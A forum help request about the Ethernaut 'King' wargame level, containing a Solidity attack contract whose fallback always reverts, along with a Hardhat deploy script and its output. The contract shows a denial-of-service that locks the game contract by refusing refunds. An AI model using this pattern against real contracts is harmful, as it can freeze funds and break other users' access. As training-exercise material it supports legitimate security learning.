# Help with Ethernaut level 9

**URL:** <https://forum.openzeppelin.com/t/help-with-ethernaut-level-9/13646>\
**Category:** Ethernaut\
**Created:** [August 7, 2021, 2:09pm UTC](https://forum.openzeppelin.com/t/help-with-ethernaut-level-9/13646 "2021-08-07T14:09:45Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![zaphod420](https://avatars.discourse-cdn.com/v4/letter/z/c2a13f/32.png) [@zaphod420](https://forum.openzeppelin.com/u/zaphod420)\
**Post date:** [August 7, 2021, 2:09pm UTC](https://forum.openzeppelin.com/t/help-with-ethernaut-level-9/13646/1 "2021-08-07T14:09:45Z")

</div>

I'm having a difficult time completing level 9. I understand the concept, and have tried several solutions. My transaction is successful in a local hardhat environment, but fails when I deploy to Rinkeby.

#### 🔢 Code to reproduce

**My attack contract**

```auto
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;

contract Attack {

  constructor() payable {

  }

  function becomeKing(address _address) public payable {
    address(_address).call{gas: 2000000, value: 1000000000000000}("");
  }

  fallback() external payable {
    revert("It's dead!");
  }
}

```

**Here is the hardhat js deploy script that works.**

```auto
async function main() {
  const [deployer] = await ethers.getSigners();

  console.log("Deploying contracts with the account:", deployer.address);

  console.log("Account balance:", (await deployer.getBalance()).toString());

  const King = await ethers.getContractFactory("King");
  const king = await King.deploy();
  console.log("king address:", king.address);

  const Attack = await ethers.getContractFactory("Attack");

  const attack = await Attack.deploy({value: 2000000000000000});
  console.log("attack address:", attack.address);

  await attack.becomeKing(king.address);
  const newKing = await king._king();
  const prize = await king.prize();
  console.log({prize: prize.toString()});
  console.log({newKing});
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

```

**Hardhat result**

```auto
$ npx hardhat run scripts/deploy.js
Deploying contracts with the account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Account balance: 10000000000000000000000
king address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
attack address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
{ prize: '1000000000000000' }
{ newKing: '0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512' }

```

#### 💻 Environment

Works in hardhat, fails in remix on Rinkeby.
